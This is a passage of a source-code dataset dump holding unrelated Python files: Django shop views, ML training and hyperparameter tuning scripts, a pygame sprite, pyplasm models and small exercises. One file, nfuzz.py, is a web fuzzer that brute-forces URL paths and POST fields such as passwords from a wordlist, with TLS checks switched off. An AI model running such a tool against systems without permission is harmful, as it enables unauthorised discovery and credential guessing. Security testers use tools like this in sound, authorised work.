OrderGoods.objects.filter(sku=sku).exclude(comment='')\n\n # 获取同一个SPU的其他规格商品\n same_spu_skus = GoodsSKU.objects.filter(goods=sku.goods).exclude(id=goods_id)\n\n # 获取新品信息\n new_skus = GoodsSKU.objects.filter(type=sku.type).order_by('-create_time')\n\n # 购物车, 并添加浏览记录\n user = request.user\n cart_count = 0\n if user.is_authenticated:\n # 用户已登录\n conn = get_redis_connection('default')\n cart_key = 'cart_%d' % user.id\n cart_count = conn.hlen(cart_key)\n\n # 添加用户的历史记录\n conn = get_redis_connection('default')\n history_key = 'history_%d' % user.id\n # 移除列表中的goods_id\n conn.lrem(history_key, 0, goods_id)\n # 把goods_id插入到列表的左侧\n conn.lpush(history_key, goods_id)\n # 只保存用户最新浏览的5条信息\n conn.ltrim(history_key, 0, 4)\n\n context = {'sku': sku,\n 'types': types,\n 'sku_orders': sku_orders,\n 'new_skus': new_skus,\n 'same_spu_skus': same_spu_skus,\n 'cart_count': cart_count}\n return render(request, 'detail.html', context)\n\n\n# 127.0.0.1:8000/list/type_id/page?sort=xxx\nclass ListView(View):\n def get(self, request, type_id, page):\n \"\"\"\n 列表页\n :param type_id: 分类 id\n :param page: 页码\n :param sort: 排序\n :return: list.html, context:数据\n \"\"\"\n # 根据需求，需要获取以下数据\n # 全部商品分类（在base_detail_list.html）\n # 购物车（需要判断用户是否登陆，默认显示0，base_detail_list.html）\n # 新品推荐\n # 列表分类，即当前是哪个分类下的列表（新鲜水果，猪牛羊肉等）\n # 列表数据（三种排序：默认，价格，人气）\n # 列表分页\n\n # 根据type_id 获取该分类的信息\n try:\n type = GoodsType.objects.get(id=type_id)\n except Exception as e:\n # 种类不存在\n return redirect(reverse('goods:index'))\n\n # 全部分类\n types = GoodsType.objects.all()\n\n # 购物车\n user = request.user\n cart_count = 0\n if user.is_authenticated:\n # 用户已登录\n conn = get_redis_connection('default')\n cart_key = 'cart_%d' % user.id\n cart_count = conn.hlen(cart_key)\n\n # 新品推荐\n new_skus = GoodsSKU.objects.filter(type=type).order_by('-create_time')[:3]\n\n # 列表数据（三种排序：默认，价格，人气）\n # 获取sort参数,分别是default, price, hot\n sort = request.GET.get('sort')\n # 获取数据并根据用户选择进行排序\n if sort == 'price':\n skus = GoodsSKU.objects.filter(type=type).order_by('price')\n elif sort == 'hot':\n skus = GoodsSKU.objects.filter(type=type).order_by('-sales')\n else:\n sort = 'default'\n skus = GoodsSKU.objects.filter(type=type).order_by('-id')\n\n # 对数据进行分页,Paginator(list, per_page)\n paginator = Paginator(skus, 1)\n\n # 如果page不能转换为int类型，设置为 1\n try:\n page = int(page)\n except Exception as e:\n page = 1\n\n # 如果page大于总页数或小于 1，设置为 1\n if page > paginator.num_pages or page < 1:\n page = 1\n\n # 获取第page页的实例对象\n skus_page = paginator.page(page)\n\n # todo: 进行页码的控制，页面上最多显示 5 页\n # 1. 总页数小于5，页面显示所有的页码\n # 2. 当前页在前3页，显示1-5的页码\n # 3. 当前页是后3页，显示后5页的页码\n # 4. 其他情况，��示当前页，前后各2页\n\n num_pages = paginator.num_pages\n if num_pages < 5:\n pages = range(1, num_pages+1)\n elif page <= 3:\n pages = range(1, 6)\n elif num_pages - page <= 2:\n pages = range(num_pages-4, num_pages+1)\n else:\n pages = range(page-2, page+3)\n\n context = {\n 'type': type,\n 'types': types,\n 'cart_count': cart_count,\n 'new_skus': new_skus,\n 'sort': sort,\n 'skus_page': skus_page,\n 'pages': pages\n\n }\n return render(request, 'list.html', context)\n","sub_path":"allDjangoProjects/dailyfresh/apps/goods/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7487,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"181808181","text":"# Basic training configuration file\nfrom pathlib import Path\nfrom torch.optim import Adam\nfrom torch.optim.lr_scheduler import MultiStepLR\nfrom torchvision.transforms import RandomHorizontalFlip, Compose\nfrom torchvision.transforms import RandomResizedCrop, RandomAffine, RandomApply\nfrom torchvision.transforms import ColorJitter, ToTensor, Normalize\nfrom common.dataset import FilesFromCsvDataset\nfrom common.data_loaders import get_data_loader\nfrom models.retinanet_cls_only import FurnitureRetinaNetClassification\n\n\nSEED = 17\nDEBUG = True\nDEVICE = 'cuda'\n\nOUTPUT_PATH = Path(\"output\") / \"train\"\n\nsize = 350\n\nTRAIN_TRANSFORMS = Compose([\n RandomApply(\n [RandomAffine(degrees=15, resample=3, fillcolor=(255, 255, 255)), ],\n p=0.5\n ),\n RandomResizedCrop(size, scale=(0.7, 1.0), interpolation=3),\n RandomHorizontalFlip(p=0.5),\n ColorJitter(hue=0.12, brightness=0.12),\n ToTensor(),\n Normalize(mean=[0.5, 0.5, 0.5], std=[0.5, 0.5, 0.5])\n])\n\n\nVAL_TRANSFORMS = TRAIN_TRANSFORMS\n\n\nBATCH_SIZE = 36\nNUM_WORKERS = 15\n\n\ndataset = FilesFromCsvDataset(\"output/unique_filtered_train_dataset.csv\")\nTRAIN_LOADER = get_data_loader(dataset,\n data_transform=TRAIN_TRANSFORMS,\n batch_size=BATCH_SIZE,\n num_workers=NUM_WORKERS,\n pin_memory='cuda' in DEVICE)\n\n\nval_dataset = FilesFromCsvDataset(\"output/unique_filtered_val_dataset.csv\")\nVAL_LOADER = get_data_loader(val_dataset,\n data_transform=VAL_TRANSFORMS,\n batch_size=BATCH_SIZE,\n num_workers=NUM_WORKERS,\n pin_memory='cuda' in DEVICE)\n\n\nMODEL = FurnitureRetinaNetClassification(num_classes=128, pretrained=True)\n\n\nN_EPOCHS = 100\n\n\nOPTIM = Adam(\n params=[\n {\"params\": MODEL.fpn.stem.parameters(), 'lr': 0.0001},\n {\"params\": MODEL.fpn.low_features.parameters(), 'lr': 0.00015},\n {\"params\": MODEL.fpn.mid_features.parameters(), 'lr': 0.00015},\n {\"params\": MODEL.fpn.top_features.parameters(), 'lr': 0.002},\n\n {\"params\": MODEL.cls_head.parameters(), 'lr': 0.0022},\n {\"params\": MODEL.base_classifier.parameters(), 'lr': 0.0025},\n {\"params\": MODEL.boxes_classifier.parameters(), 'lr': 0.0025},\n {\"params\": MODEL.final_classifier.parameters(), 'lr': 0.004},\n ]\n)\n\n\nLR_SCHEDULERS = [\n MultiStepLR(OPTIM, milestones=[4, 5, 6, 7, 8, 10, 11, 13, 14, 15], gamma=0.5),\n\n]\n\n\nEARLY_STOPPING_KWARGS = {\n 'patience': 25,\n # 'score_function': None\n}\n\n\nLOG_INTERVAL = 100\n","sub_path":"classification/imaterialist_challenge_furniture_2018/configs/train/train_inceptionresnetv2_retinanet_like.py","file_name":"train_inceptionresnetv2_retinanet_like.py","file_ext":"py","file_size_in_byte":2627,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"19096675","text":"done = False\nlista = []\nwhile not done:\n a = int(input(\"Podaj liczbe: \"))\n if a!=0:\n lista.append(a)\n else:\n suma = 0\n for liczba in lista:\n suma += liczba\n srednia = suma/len(lista)\n print(\"REZULTAT: Liczb = {}, Suma = {}, Srednia = {}\".format(len(lista), suma, srednia))\n \n ","sub_path":"02-ControlStructures/zadania/41.py","file_name":"41.py","file_ext":"py","file_size_in_byte":341,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"557724162","text":"import pygame\nfrom pygame.sprite import Sprite\n\nclass Bullet(Sprite):\n\n\tdef __init__(self, ai_settings, screen, ship):\n\t\n\t\tsuper(Bullet, self).__init__()\n\t\tself.screen = screen\n\t\tself.settings = ai_settings\n\t\tself.rect = pygame.Rect(0, 0,\n\t\tai_settings.bullet_width, ai_settings.bullet_height)\n\t\tself.rect.centerx = ship.rect.centerx\n\t\tself.rect.top = ship.rect.top\n\t\tself.y = float(self.rect.y)\n\t\tself.x = ship.rect.centerx\n\t\t\n\t\tself.color = ai_settings.bullet_color\n\t\tself.speed_factor = ai_settings.bullet_speed_factor\n\n\t\t\n\tdef erase(self):\n\t\tpygame.draw.rect(self.screen, self.settings.bg_color, self.rect)\n\n\tdef blitme(self):\n\t\tself.y -= self.speed_factor\n\t\tself.rect.y = self.y\n\t\tpygame.draw.rect(self.screen, self.color, self.rect)","sub_path":"bullet.py","file_name":"bullet.py","file_ext":"py","file_size_in_byte":738,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"45511095","text":"import csv\nfrom hyperopt import STATUS_OK\nfrom timeit import default_timer as timer\nimport numpy as np\nimport pandas as pd\n\n# Modeling\nimport lightgbm as lgb\n\nfrom hyperopt import hp\nfrom hyperopt.pyll.stochastic import sample\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\nfrom hyperopt import tpe\nfrom hyperopt import Trials\nfrom hyperopt import fmin\n\nimport ast\nfrom sklearn.metrics import roc_auc_score\n\n# For Bayesian optimization, we need the following four parts:\n#\n# Objective function\n# Domain space\n# Hyperparameter optimization algorithm\n# History of results\n\nN_FOLDS = 10\nMAX_EVALS = 500\nout_file = './gbm_trials.csv'\n\n# Read in data and separate into training and testing sets\ndata = pd.read_csv('./data/caravan-insurance-challenge.csv')\ntrain = data[data['ORIGIN'] == 'train']\ntest = data[data['ORIGIN'] == 'test']\n\n# Extract the labels and format properly\ntrain_labels = np.array(train['CARAVAN'].astype(np.int32)).reshape((-1,))\ntest_labels = np.array(test['CARAVAN'].astype(np.int32)).reshape((-1,))\n\n# Drop the unneeded columns\ntrain = train.drop(columns=['ORIGIN', 'CARAVAN'])\ntest = test.drop(columns=['ORIGIN', 'CARAVAN'])\n\n# Convert to numpy array for splitting in cross validation\nfeatures = np.array(train)\ntest_features = np.array(test)\nlabels = train_labels[:]\n\nprint('Train shape: ', train.shape)\nprint('Test shape: ', test.shape)\nprint(train.head())\n\n# Create a lgb dataset\ntrain_set = lgb.Dataset(features, label=labels)\n\n\ndef objective(params, n_folds=N_FOLDS):\n \"\"\"Objective function for Gradient Boosting Machine Hyperparameter Optimization\"\"\"\n\n # Keep track of evals\n global ITERATION\n\n ITERATION += 1\n\n # Retrieve the subsample if present otherwise set to 1.0\n subsample = params['boosting_type'].get('subsample', 1.0)\n\n # Extract the boosting type\n params['boosting_type'] = params['boosting_type']['boosting_type']\n params['subsample'] = subsample\n\n # Make sure parameters that need to be integers are integers\n for parameter_name in ['num_leaves', 'subsample_for_bin', 'min_child_samples']:\n params[parameter_name] = int(params[parameter_name])\n\n start = timer()\n\n # Perform n_folds cross validation\n cv_results = lgb.cv(params, train_set, num_boost_round=10000, nfold=n_folds,\n early_stopping_rounds=100, metrics='auc', seed=50)\n\n run_time = timer() - start\n\n # Extract the best score\n best_score = np.max(cv_results['auc-mean'])\n\n # Hyperopt works to minimize a function\n # Loss must be minimized\n loss = 1 - best_score\n\n # Boosting rounds that returned the highest cv score\n n_estimators = int(np.argmax(cv_results['auc-mean']) + 1)\n\n # Write to the csv file ('a' means append)\n of_connection = open(out_file, 'a')\n writer = csv.writer(of_connection)\n writer.writerow([loss, params, ITERATION, n_estimators, run_time])\n\n # Dictionary with information for evaluation\n return {'loss': loss, 'params': params, 'iteration': ITERATION,\n 'estimators': n_estimators,\n 'train_time': run_time, 'status': STATUS_OK}\n\n\n# Create the learning rate\nlearning_rate = {'learning_rate': hp.loguniform('learning_rate', np.log(0.005), np.log(0.2))}\n\nlearning_rate_dist = []\n\n# Draw 10000 samples from the learning rate domain\nfor _ in range(10000):\n learning_rate_dist.append(sample(learning_rate)['learning_rate'])\n\nplt.figure(figsize=(8, 6))\nsns.kdeplot(learning_rate_dist, color='red', linewidth=2, shade=True)\nplt.title('Learning Rate Distribution', size=18)\nplt.xlabel('Learning Rate', size=16)\nplt.ylabel('Density', size=16)\nplt.show()\n\n# Discrete uniform distribution\nnum_leaves = {'num_leaves': hp.quniform('num_leaves', 30, 150, 1)}\nnum_leaves_dist = []\n\n# Sample 10000 times from the number of leaves distribution\nfor _ in range(10000):\n num_leaves_dist.append(sample(num_leaves)['num_leaves'])\n\n# kdeplot\nplt.figure(figsize=(8, 6))\nsns.kdeplot(num_leaves_dist, linewidth=2, shade=True)\nplt.title('Number of Leaves Distribution', size=18)\nplt.xlabel('Number of Leaves', size=16)\nplt.ylabel('Density', size=16)\nplt.show()\n\n# # boosting type domain\n# # nested conditional statements to indicate hyperparameters that depend on other hyperparameters\n# # we can explore different models with completely different sets of hyperparameters by using nested conditionals.\n# boosting_type = {'boosting_type': hp.choice('boosting_type',\n# [{'boosting_type': 'gbdt', 'subsample': hp.uniform('subsample', 0.5, 1)},\n# {'boosting_type': 'dart', 'subsample': hp.uniform('subsample', 0.5, 1)},\n# {'boosting_type': 'goss', 'subsample': 1.0}])}\n#\n# # Draw a sample\n# params = sample(boosting_type)\n# print(params)\n\n# # Retrieve the subsample if present otherwise set to 1.0\n# subsample = params['boosting_type'].get('subsample', 1.0)\n#\n# # Extract the boosting type\n# params['boosting_type'] = params['boosting_type']['boosting_type']\n# params['subsample'] = subsample\n# print(params)\n\n\n# Define the entire search space\n# In Hyperopt, and other Bayesian optimization frameworks,\n# the domain is not a discrete grid but instead has probability\n# distributions for each hyperparameter.\nspace = {\n 'class_weight': hp.choice('class_weight', [None, 'balanced']),\n 'boosting_type': hp.choice('boosting_type',\n [{'boosting_type': 'gbdt', 'subsample': hp.uniform('gdbt_subsample', 0.5, 1)},\n {'boosting_type': 'dart', 'subsample': hp.uniform('dart_subsample', 0.5, 1)},\n {'boosting_type': 'goss', 'subsample': 1.0}]),\n 'num_leaves': hp.quniform('num_leaves', 30, 150, 1),\n 'learning_rate': hp.loguniform('learning_rate', np.log(0.01), np.log(0.2)),\n 'subsample_for_bin': hp.quniform('subsample_for_bin', 20000, 300000, 20000),\n 'min_child_samples': hp.quniform('min_child_samples', 20, 500, 5),\n 'reg_alpha': hp.uniform('reg_alpha', 0.0, 1.0),\n 'reg_lambda': hp.uniform('reg_lambda', 0.0, 1.0),\n 'colsample_bytree': hp.uniform('colsample_by_tree', 0.6, 1.0)\n}\n\n# Sample from the full space\nx = sample(space)\n\n# Conditional logic to assign top-level keys\n# Every time we run this code, the results will change.\nsubsample = x['boosting_type'].get('subsample', 1.0)\nx['boosting_type'] = x['boosting_type']['boosting_type']\nx['subsample'] = subsample\nprint(x)\n\n# optimization algorithm\n# Tree Parzen Estimator\n# the method for constructing the surrogate function and\n# choosing the next hyperparameters to evaluate.\ntpe_algorithm = tpe.suggest\n\n# Keep track of results\nbayes_trials = Trials()\n\n# File to save first results\n# Every time the objective function is called, it will write one line to this file.\nof_connection = open(out_file, 'w')\nwriter = csv.writer(of_connection)\n\n# Write the headers to the file\nwriter.writerow(['loss', 'params', 'iteration', 'estimators', 'train_time'])\nof_connection.close()\n\n# Global variable\nglobal ITERATION\n\nITERATION = 0\n\n# Run optimization\nbest = fmin(fn=objective, space=space, algo=tpe.suggest,\n max_evals=MAX_EVALS, trials=bayes_trials, rstate=np.random.RandomState(50))\n\n# Sort the trials with lowest loss (highest AUC) first\nbayes_trials_results = sorted(bayes_trials.results, key=lambda x: x['loss'])\nprint(bayes_trials_results[:2])\n\nresults = pd.read_csv('./gbm_trials.csv')\n\n# Sort with best scores on top and reset index for slicing\nresults.sort_values('loss', ascending=True, inplace=True)\nresults.reset_index(inplace=True, drop=True)\nprint(results.head())\n\n# Convert from a string to a dictionary\nast.literal_eval(results.loc[0, 'params'])\n\n# Extract the ideal number of estimators and hyperparameters\nbest_bayes_estimators = int(results.loc[0, 'estimators'])\nbest_bayes_params = ast.literal_eval(results.loc[0, 'params']).copy()\n\n# Re-create the best model and train on the training data\nbest_bayes_model = lgb.LGBMClassifier(n_estimators=best_bayes_estimators, n_jobs=-1,\n objective='binary', random_state=50, **best_bayes_params)\nbest_bayes_model.fit(features, labels)\n\n# Evaluate on the testing data\npreds = best_bayes_model.predict_proba(test_features)[:, 1]\nprint('The best model from Bayes optimization scores {:.5f} AUC ROC on the test set.'.format(\n roc_auc_score(test_labels, preds)))\nprint('This was achieved after {} search iterations'.format(results.loc[0, 'iteration']))","sub_path":"BayesianOptimization/HyperOpt2-Bayesian.py","file_name":"HyperOpt2-Bayesian.py","file_ext":"py","file_size_in_byte":8488,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"143270356","text":"import os\r\nimport webapp2\r\nimport jinja2\r\n\r\n\r\njinja_environment = jinja2.Environment(\r\n loader=jinja2.FileSystemLoader(os.path.dirname(__file__)))\r\n\r\n\r\nclass MainPage(webapp2.RequestHandler):\r\n def get(self):\r\n values = {}\r\n template = jinja_environment.get_template('templates/index.html')\r\n self.response.out.write(template.render(values))\r\n\r\n\r\napp = webapp2.WSGIApplication([('/', MainPage)], debug=True)\r\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":437,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"311456346","text":"import torch\n\n###\n# Forward Function\n###\n\n# Forward function for sequence classification\ndef forward_sequence_classification(model, batch_data, i2w, is_test=False, device='cpu', **kwargs):\n # Unpack batch data\n if len(batch_data) == 3:\n (subword_batch, mask_batch, label_batch) = batch_data\n token_type_batch = None\n elif len(batch_data) == 4:\n (subword_batch, mask_batch, token_type_batch, label_batch) = batch_data\n \n # Prepare input & label\n subword_batch = torch.LongTensor(subword_batch)\n mask_batch = torch.FloatTensor(mask_batch)\n token_type_batch = torch.LongTensor(token_type_batch) if token_type_batch is not None else None\n label_batch = torch.LongTensor(label_batch)\n \n if device == \"cuda\":\n subword_batch = subword_batch.cuda()\n mask_batch = mask_batch.cuda()\n token_type_batch = token_type_batch.cuda() if token_type_batch is not None else None\n label_batch = label_batch.cuda()\n\n # Forward model\n outputs = model(subword_batch, attention_mask=mask_batch, token_type_ids=token_type_batch, labels=label_batch)\n loss, logits = outputs[:2]\n \n # generate prediction & label list\n list_hyp = []\n list_label = []\n hyp = torch.topk(logits, 1)[1]\n for j in range(len(hyp)):\n list_hyp.append(i2w[hyp[j].item()])\n list_label.append(i2w[label_batch[j][0].item()])\n \n return loss, list_hyp, list_label","sub_path":"utils/forward_fn.py","file_name":"forward_fn.py","file_ext":"py","file_size_in_byte":1444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"32955945","text":"import matplotlib.image as mpimg\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\nclass ImageProcessor:\n def load(self, path):\n try:\n img = mpimg.imread(path)\n print(\"Loading image of dimensions {} x {}\".format(*img.shape))\n return img\n except IOError:\n print(\"cannot open \", path)\n\n def display(self, array):\n plt.imshow(array)\n plt.show()\n\n","sub_path":"ex01/ImageProcessor.py","file_name":"ImageProcessor.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"275100539","text":"#! /usr/bin/python3\n# -*- coding: utf-8 -*\n\nimport threading , sys , os , gc , argparse , re\nimport third.requests as requests\nimport third.colorama as colorama\nfrom queue import Queue\nimport platform \n# import pdb\n\n\nbanner ='''\n __ ____ \n _ __ / _| _ _ ____ |___ \\ \n| '_ \\ | |_ | | | | |_ / __) |\n| | | | | _| | |_| | / / / __/ \n|_| |_| |_| \\__,_| /___| |_____|\n \nauthor : n00B@khan\n'''\n\n# IS_EXIT = False\nheaders = {\n 'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE'\n}\n\n\n\ncolorama.init(autoreset=True)\n\nclass Brute:\n def __init__(self , args):\n self.urls = args.urls\n self.wordlists = args.wordlists\n self.data = args.data\n self.method = args.method\n self.thread_num = args.thread_num\n self.queue = Queue()\n self.filter = args.filter\n \n\n def to_do(self):\n f = open(self.wordlists,'r')\n if self.data != None and \"FUZZ\" in self.data:\n sys.stdout.write('\\r'+colorama.Fore.GREEN + ' \\tResponse\\tChars\\t\\datas'+'\\r'+'\\r')\n for i in f.readlines():\n self.queue.put(re.sub(r\"FUZZ\", i.strip() ,self.data))\n thread_count = int(self.thread_num)\n for i in range(thread_count):\n t = threading.Thread(target= self.fuzz2)\n t.start()\n t.join()\n elif self.urls and self.wordlists and \"FUZZ\" in self.urls:\n sys.stdout.write('\\r'+colorama.Fore.GREEN + ' \\tResponse\\tChars\\t\\turls'+'\\r'+'\\r')\n for i in f.readlines():\n self.queue.put(re.sub(r\"FUZZ\",i.strip(),self.urls))\n thread_count = int(self.thread_num)\n for i in range(thread_count):\n t = threading.Thread(target=self.fuzz)\n t.start()\n t.join()\n\n def fuzz(self):\n # global IS_EXIT\n gc.collect()\n while not self.queue.empty():\n if self.method.strip() == \"post\":\n urls = self.queue.get()\n resp = requests.post(urls,headers = headers,verify=False)\n elif self.method.strip() == \"get\":\n urls = self.queue.get()\n resp = requests.get(urls,headers = headers,verify=False)\n try:\n if resp.status_code == 200 :\n if self.filter == None or 200 not in self.filter :\n sys.stdout.write('\\r'+colorama.Fore.GREEN + '[+]\\t200\\t\\t\\t{}\\n'.format(urls))\n elif resp.status_code == 403:\n if self.filter == None or 403 not in self.filter:\n sys.stdout.write('\\r'+colorama.Fore.CYAN + '[!]\\t403\\t\\t\\t{}\\n'.format(urls))\n elif resp.status_code == 302:\n if self.filter == None or 302 not in self.filter:\n sys.stdout.write('\\r'+colorama.Fore.BLUE + '[+]\\t302\\t\\t\\t{}\\n'.format(urls))\n elif resp.status_code == 301:\n if self.filter == None or 301 not in self.filter:\n sys.stdout.write('\\r'+colorama.Fore.BLUE + '[+]\\t301\\t\\t\\t{}\\n'.format(urls))\n elif resp.status_code == 405:\n if self.filter == None or 405 not in self.filter :\n sys.stdout.write('\\r'+colorama.Fore.CYAN + '[!]\\t405\\t\\t\\t{}\\n'.format(urls))\n elif resp.status_code == 400:\n if self.filter == None or 400 not in self.filter :\n sys.stdout.write('\\r'+colorama.Fore.CYAN + '[-]\\t400\\t\\t\\t{}\\n'.format(urls))\n elif resp.status_code == 500:\n if self.filter == None or 500 not in self.filter :\n sys.stdout.write('\\r'+colorama.Fore.RED + '[-]\\t500\\t\\t\\t{}\\n'.format(urls))\n elif resp.status_code == 404:\n if self.filter == None or 404 not in self.filter :\n sys.stdout.write('\\r'+colorama.Fore.RED + '[-]\\t404\\t\\t\\t{}\\n'.format(urls))\n except Exception as e:\n print(\"error\")\n sys.exit(1)\n\n def fuzz2(self):\n gc.collect()\n while not self.queue.empty():\n datas = self.queue.get()\n resp = requests.post(self.urls , headers = headers , data= datas ,verify=False)\n try:\n if resp.status_code == 200:\n if self.filter == None or 200 not in self.filter :\n sys.stdout.write('\\r'+colorama.Fore.GREEN + '[+]\\t200\\t{}\\t\\t{}\\n'.format(resp.headers['content-length'],datas))\n elif resp.status_code == 403:\n if self.filter == None or 403 not in self.filter :\n sys.stdout.write('\\r'+colorama.Fore.CYAN + '[!]\\t403\\t{}\\t\\t{}\\n'.format(resp.headers['content-length'],datas))\n elif resp.status_code == 302:\n if self.filter == None or 302 not in self.filter :\n sys.stdout.write('\\r'+colorama.Fore.BLUE + '[+]\\t302\\t{}\\t\\t{}\\n'.format(resp.headers['content-length'],datas))\n elif resp.status_code == 301:\n if self.filter == None or 301 not in self.filter :\n sys.stdout.write('\\r'+colorama.Fore.BLUE + '[+]\\t301\\t{}\\t\\t{}\\n'.format(resp.headers['content-length'],datas))\n elif resp.status_code == 405:\n if self.filter == None or 405 not in self.filter :\n sys.stdout.write('\\r'+colorama.Fore.CYAN + '[!]\\t405\\t{}\\t\\t{}\\n'.format(resp.headers['content-length'],datas))\n elif resp.status_code == 400:\n if self.filter == None or 400 not in self.filter :\n sys.stdout.write('\\r'+colorama.Fore.CYAN + '[-]\\t400\\t{}\\t\\t{}\\n'.format(resp.headers['content-length'],datas))\n elif resp.status_code == 500:\n if self.filter == None or 500 not in self.filter :\n sys.stdout.write('\\r'+colorama.Fore.RED + '[-]\\t500\\t{}\\t\\t{}\\n'.format(resp.headers['content-length'],datas))\n elif resp.status_code == 404:\n if self.filter == None or 404 not in self.filter :\n sys.stdout.write('\\r'+colorama.Fore.RED + '[-]\\t500\\t{}\\t\\t{}\\n'.format(resp.headers['content-length'],datas))\n except Exception as e:\n print(\"error\")\n sys.exit(1)\n\ndef main():\n print(colorama.Fore.GREEN+ banner)\n if sys.version_info < (3,0):\n sys.stdout.write('nfuzz requires Python 3.x')\n if platform.system == \"windows\":\n from third.colorama import win32\n parser = argparse.ArgumentParser()\n flag_parser = parser.add_mutually_exclusive_group(required=False)\n flag_parser.add_argument('-I',dest='CURL_I',action='store_true',help=\"CURL -I mode\")\n flag_parser.add_argument('-C',dest='CURL',action='store_true',help=\"CURL mode\")\n parser.add_argument('-t',dest='thread_num',type=int,help=\"thread options\",default=10)\n parser.add_argument('-u',dest='urls',type=str,help=\"url options\")\n parser.add_argument('-w',dest='wordlists',type=str,help=\"wordlists options\")\n parser.add_argument('-X',dest='method',type=str,help=\"http-method options\",choices=['get','post'],default='get')\n parser.add_argument('-d',dest='data',type=str,help=\"post data\")\n parser.add_argument('--hc',dest='filter',type=int,help=\"http status code filter\",nargs='*')\n args = parser.parse_args()\n if args.CURL_I and args.urls:\n if args.method.strip() == \"get\":\n resp = requests.get(args.urls,verify = False)\n print(resp.status_code)\n print(resp.headers)\n sys.exit(1)\n elif args.method.strip() == \"post\":\n resp = requests.post(args.urls , verify = False)\n print(resp.status_code)\n print(resp.headers)\n sys.exit(1)\n elif args.CURL and args.urls:\n if args.method.strip() == \"get\":\n resp = requests.get(args.urls , verify = False)\n print(resp.text)\n sys.exit(1)\n elif args.method.strip() == \"post\":\n resp = requests.post(args.urls , verify = False)\n print(resp.text)\n sys.exit(1)\n elif args.urls and args.wordlists and args.data != None:\n if \"FUZZ\" in args.data:\n brute = Brute(args)\n brute.to_do()\n sys.exit(1)\n else:\n print(colorama.Fore.RED+\"u need FUZZ word =。= \")\n sys.exit(1)\n elif args.urls and args.wordlists:\n if \"FUZZ\" in args.urls:\n brute = Brute(args)\n brute.to_do()\n sys.exit(1)\n else:\n print(colorama.Fore.RED+\"u need FUZZ word =。= \")\n else:\n txt = '''\n -w Please enter the WORDLIST file address\n -t Please enter the THREAD number\n -u Please enter the URL number , usage:\"http://www.baidu.com/FUZZ/error.html\"\n -I CURL -I mode\n -C CURL mode \n -d Post data , usage:\"username=admin&password=FUZZ\"\n -X http-method support Post and Get (default)\n --hc http_status_code filter , usage:\"--hc 404 500\"\n '''\n print(txt)\n sys.exit(1)\n\nif __name__ == '__main__':\n main()\n","sub_path":"nfuzz.py","file_name":"nfuzz.py","file_ext":"py","file_size_in_byte":9433,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"177686894","text":"from pyplasm import *\n\n# There are some errors in the windows and the doors, but probably they come\n# from the poorly drawn SVG input.\n\nDEF_THICKNESS = 3.5\n\ndef line_parser(filename):\n ret = []\n for line in open(filename):\n x1,y1,x2,y2 = line.rstrip().split(',')\n ret.append([float(x1),float(y1)])\n ret.append([float(x2),float(y2)])\n return ret\n\n\ndef gen_ext_walls_plan(filename, thickness): \n verts = line_parser(filename)[::2]\n facets = [[i,i+1] for i in range(1,len(verts))]\n facets.append([len(verts),1])\n \n return OFFSET([thickness]*2)(MKPOL([verts,facets,[1]]))\n \n\ndef gen_int_walls_plan(filename, thickness): \n verts = line_parser(filename)\n \n facets = [[i,i+1] for i in range(1,len(verts),2)]\n \n pols = MKPOL([verts,facets,[1]])\n t = thickness / 2.\n \n return UNION([\n OFFSET([+t, +t])(pols),\n OFFSET([-t, +t])(pols),\n OFFSET([+t, -t])(pols),\n OFFSET([-t, -t])(pols)])\n\n \ndef gen_walls(filename, thickness, height, external):\n if(external):\n return PROD([\n gen_ext_walls_plan(filename, thickness),\n Q(height)\n ])\n else:\n return PROD([\n gen_int_walls_plan(filename, thickness),\n Q(height)\n ]) \n\ndef gen_windows(filename, height, foot_height, thickness=DEF_THICKNESS):\n ret = []\n verts = line_parser(filename)\n couples = [[i,i+1] for i in range(1,len(verts),2)]\n \n for (i, j) in couples:\n delta_x = abs(verts[i-1][0] - verts[j-1][0])\n delta_y = abs(verts[i-1][1] - verts[j-1][1])\n if delta_x > delta_y:\n ret.append(\n T([1,2,3])([\n verts[i-1][0],\n verts[i-1][1] - (thickness/4),\n foot_height\n ])(CUBOID([delta_x,thickness,height]))\n )\n else:\n ret.append(\n T([1,2,3])([\n verts[i-1][0] - (thickness/4),\n verts[i-1][1],\n foot_height\n ])(CUBOID([thickness,delta_y,height]))\n )\n \n return STRUCT(ret)\n \ndef gen_doors(filename, height, thickness=DEF_THICKNESS):\n return gen_windows(filename, height, 0, thickness)\n\n\nif __name__=='__main__':\n struttura = S([2])([-1])(DIFFERENCE([\n STRUCT([\n gen_walls('esterni.lines', 2, 12, True),\n gen_walls('interni.lines', 2, 12, False)\n ]),\n STRUCT([\n gen_windows('finestre.lines', 8, 2),\n gen_doors('porte.lines', 8)\n ])\n ]))\n\n\n VIEW(struttura)\n\n","sub_path":"2017-01-13/workshop_08.py","file_name":"workshop_08.py","file_ext":"py","file_size_in_byte":2630,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"617830365","text":"import time\nfrom threading import Thread\n\nfrom projeto1.form import Ui_MainWindow\n\nfrom PySide2 import QtCore, QtGui, QtWidgets\nfrom PySide2.QtWidgets import *\nimport multiprocessing as mp\nfrom PySide2 import QtCore\nfrom PySide2.QtCore import Qt\nimport PySide2.QtWidgets as QtWidgets\n\n\nclass MainWindow(QtWidgets.QMainWindow,Ui_MainWindow):\n def 